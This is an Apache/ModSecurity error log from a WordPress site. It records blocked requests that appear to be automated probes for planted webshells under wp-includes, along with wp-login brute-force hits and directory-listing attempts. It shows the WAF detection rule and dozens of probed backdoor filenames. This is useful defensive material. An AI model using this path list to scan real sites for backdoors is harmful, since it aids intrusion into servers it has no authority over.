[Mon Mar 02 22:14:22.499169 2026] [:error] [pid 28847:tid 28850] [client 216.73.160.230:63777] [client 216.73.160.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aaWbPp9xbBq8VfeqVDZ9xAAAAME"]
[Mon Mar 02 22:14:27.145909 2026] [:error] [pid 59734:tid 59743] [client 216.73.160.223:24485] [client 216.73.160.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aaWbQ5eWQx7ZQG9NybE7kQAAAUc"]
[Mon Mar 02 22:14:29.660706 2026] [:error] [pid 28847:tid 28853] [client 216.73.160.219:49359] [client 216.73.160.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aaWbRZ9xbBq8VfeqVDZ96gAAAMQ"]
[Mon Mar 02 22:14:37.125352 2026] [:error] [pid 59601:tid 59653] [client 43.166.136.153:51364] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaWbTcQ1lXfvWN0-ZQmeAwAAAE8"]
[Mon Mar 02 22:14:41.283982 2026] [:error] [pid 59734:tid 59749] [client 216.73.160.228:53831] [client 216.73.160.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aaWbUZeWQx7ZQG9NybE7rgAAAU0"]
[Mon Mar 02 22:14:44.234938 2026] [:error] [pid 28847:tid 28849] [client 216.73.160.103:34537] [client 216.73.160.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aaWbVJ9xbBq8VfeqVDZ-IgAAAMA"]
[Mon Mar 02 22:14:48.713906 2026] [:error] [pid 59600:tid 59631] [client 216.73.160.221:25663] [client 216.73.160.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aaWbWIQ5lE4yocV9IBeCsAAAABY"]
[Mon Mar 02 22:14:51.241813 2026] [:error] [pid 28847:tid 28853] [client 216.73.160.222:39463] [client 216.73.160.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/as.php"] [unique_id "aaWbW59xbBq8VfeqVDZ-MAAAAMQ"]
[Mon Mar 02 22:14:53.899823 2026] [:error] [pid 59701:tid 59719] [client 216.73.160.222:39453] [client 216.73.160.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aaWbXeUmTDVso96U9_LmKgAAAQ8"]
[Mon Mar 02 22:14:54.518014 2026] [:error] [pid 28847:tid 28866] [client 216.73.160.218:37657] [client 216.73.160.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/install.php"] [unique_id "aaWbXp9xbBq8VfeqVDZ-NAAAANE"]
[Mon Mar 02 22:14:55.150608 2026] [:error] [pid 28847:tid 28852] [client 216.73.160.100:55735] [client 216.73.160.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aaWbX59xbBq8VfeqVDZ-OAAAAMM"]
[Mon Mar 02 22:15:07.336187 2026] [:error] [pid 59602:tid 59675] [client 216.73.160.227:56499] [client 216.73.160.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aaWbazMtSo_Fr0lHnSaE-AAAAIo"]
[Mon Mar 02 22:15:12.800440 2026] [:error] [pid 59602:tid 59680] [client 216.73.160.221:48337] [client 216.73.160.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aaWbcDMtSo_Fr0lHnSaFBQAAAI8"]
[Mon Mar 02 22:15:19.307325 2026] [:error] [pid 28847:tid 28850] [client 216.73.160.218:38793] [client 216.73.160.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aaWbd59xbBq8VfeqVDZ-fwAAAME"]
[Mon Mar 02 22:15:22.554507 2026] [:error] [pid 59602:tid 59671] [client 216.73.160.229:47339] [client 216.73.160.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aaWbejMtSo_Fr0lHnSaFFAAAAIY"]
[Mon Mar 02 22:15:32.286781 2026] [:error] [pid 59600:tid 59620] [client 216.73.160.217:33785] [client 216.73.160.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aaWbhIQ5lE4yocV9IBeC-gAAAAs"]
[Mon Mar 02 22:15:33.985954 2026] [:error] [pid 59734:tid 59750] [client 216.73.160.231:49605] [client 216.73.160.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aaWbhZeWQx7ZQG9NybE7-QAAAU4"]
[Mon Mar 02 22:15:36.019798 2026] [:error] [pid 59600:tid 59615] [client 216.73.160.75:56169] [client 216.73.160.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aaWbiIQ5lE4yocV9IBeDAAAAAAY"]
[Mon Mar 02 22:15:38.915654 2026] [:error] [pid 28847:tid 28873] [client 216.73.160.219:38977] [client 216.73.160.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aaWbip9xbBq8VfeqVDZ-pQAAANg"]
[Mon Mar 02 22:15:50.449477 2026] [:error] [pid 59601:tid 59648] [client 216.73.160.235:21291] [client 216.73.160.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aaWblsQ1lXfvWN0-ZQmePAAAAEo"]
[Mon Mar 02 22:15:51.194927 2026] [:error] [pid 59601:tid 59655] [client 216.73.160.91:36207] [client 216.73.160.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aaWbl8Q1lXfvWN0-ZQmePQAAAFE"]
[Mon Mar 02 22:15:57.701448 2026] [:error] [pid 59601:tid 59640] [client 216.73.160.231:49293] [client 216.73.160.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aaWbncQ1lXfvWN0-ZQmeRwAAAEI"]
[Mon Mar 02 22:15:59.122052 2026] [:error] [pid 59602:tid 59689] [client 216.73.160.84:25415] [client 216.73.160.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaWbnzMtSo_Fr0lHnSaFQQAAAJg"]
[Mon Mar 02 22:16:02.520137 2026] [:error] [pid 59734:tid 59737] [client 216.73.160.90:24333] [client 216.73.160.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aaWbopeWQx7ZQG9NybE8IQAAAUE"]
[Mon Mar 02 22:16:03.344951 2026] [:error] [pid 59600:tid 59625] [client 216.73.160.91:41469] [client 216.73.160.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aaWbo4Q5lE4yocV9IBeDKwAAABA"]
[Mon Mar 02 22:16:04.123071 2026] [:error] [pid 59600:tid 59611] [client 216.73.160.216:51233] [client 216.73.160.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaWbpIQ5lE4yocV9IBeDMwAAAAI"]
[Mon Mar 02 22:16:04.127181 2026] [proxy_fcgi:error] [pid 59600:tid 59611] [client 216.73.160.216:51233] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:16:04.586552 2026] [:error] [pid 59600:tid 59618] [client 216.73.160.216:51233] [client 216.73.160.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aaWbpIQ5lE4yocV9IBeDOAAAAAk"]
[Mon Mar 02 22:16:11.009849 2026] [:error] [pid 59734:tid 59750] [client 216.73.160.88:63635] [client 216.73.160.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aaWbq5eWQx7ZQG9NybE8MQAAAU4"]
[Mon Mar 02 22:16:12.268085 2026] [:error] [pid 59600:tid 59629] [client 216.73.160.233:36687] [client 216.73.160.233] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/network.php"] [unique_id "aaWbrIQ5lE4yocV9IBeDaAAAABQ"]
[Mon Mar 02 22:16:21.994073 2026] [:error] [pid 59600:tid 59632] [client 216.73.160.233:54999] [client 216.73.160.233] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aaWbtYQ5lE4yocV9IBeDlAAAABc"]
[Mon Mar 02 22:16:22.633936 2026] [:error] [pid 59600:tid 59609] [client 216.73.160.84:55347] [client 216.73.160.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aaWbtoQ5lE4yocV9IBeDmQAAAAA"]
[Mon Mar 02 22:16:27.143040 2026] [:error] [pid 59600:tid 59630] [client 216.73.160.221:20823] [client 216.73.160.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aaWbu4Q5lE4yocV9IBeDrgAAABU"]
[Mon Mar 02 22:16:27.760332 2026] [:error] [pid 59600:tid 59611] [client 216.73.160.78:57105] [client 216.73.160.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aaWbu4Q5lE4yocV9IBeDsgAAAAI"]
[Mon Mar 02 22:16:28.372145 2026] [proxy_fcgi:error] [pid 59600:tid 59625] [client 216.73.160.219:59515] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:16:28.666045 2026] [:error] [pid 59600:tid 59632] [client 216.73.160.219:59515] [client 216.73.160.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.219, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaWbvIQ5lE4yocV9IBeDtwAAABc"]
[Mon Mar 02 22:16:32.395401 2026] [:error] [pid 59600:tid 59627] [client 216.73.160.219:59515] [client 216.73.160.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aaWbwIQ5lE4yocV9IBeDzQAAABI"]
[Mon Mar 02 22:16:37.587268 2026] [:error] [pid 59600:tid 59614] [client 216.73.160.84:52103] [client 216.73.160.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aaWbxYQ5lE4yocV9IBeD7QAAAAU"]
[Mon Mar 02 22:16:40.223627 2026] [:error] [pid 59734:tid 59749] [client 216.73.160.94:58697] [client 216.73.160.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aaWbyJeWQx7ZQG9NybE8fgAAAU0"]
[Mon Mar 02 22:16:40.852418 2026] [:error] [pid 59600:tid 59617] [client 216.73.160.93:35541] [client 216.73.160.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aaWbyIQ5lE4yocV9IBeD9wAAAAg"]
[Mon Mar 02 22:16:45.689433 2026] [:error] [pid 59602:tid 59665] [client 216.73.160.229:48317] [client 216.73.160.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aaWbzTMtSo_Fr0lHnSaFwAAAAIA"]
[Mon Mar 02 22:16:50.060003 2026] [:error] [pid 59701:tid 59722] [client 216.73.160.230:36921] [client 216.73.160.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aaWb0uUmTDVso96U9_LmkQAAARI"]
[Mon Mar 02 22:16:58.082073 2026] [:error] [pid 59600:tid 59627] [client 216.73.160.218:32179] [client 216.73.160.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aaWb2oQ5lE4yocV9IBeENQAAABI"]
[Mon Mar 02 22:17:08.725188 2026] [autoindex:error] [pid 59701:tid 59708] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:09.146438 2026] [autoindex:error] [pid 59701:tid 59709] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:09.510823 2026] [autoindex:error] [pid 59701:tid 59712] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:09.905440 2026] [autoindex:error] [pid 59701:tid 59725] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:13.377413 2026] [autoindex:error] [pid 59701:tid 59707] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:14.065955 2026] [autoindex:error] [pid 59701:tid 59724] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:14.406478 2026] [autoindex:error] [pid 59701:tid 59728] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:14.711215 2026] [autoindex:error] [pid 59701:tid 59710] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:15.028607 2026] [autoindex:error] [pid 59701:tid 59722] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:15.713921 2026] [autoindex:error] [pid 59701:tid 59723] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:18.076983 2026] [autoindex:error] [pid 59701:tid 59710] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
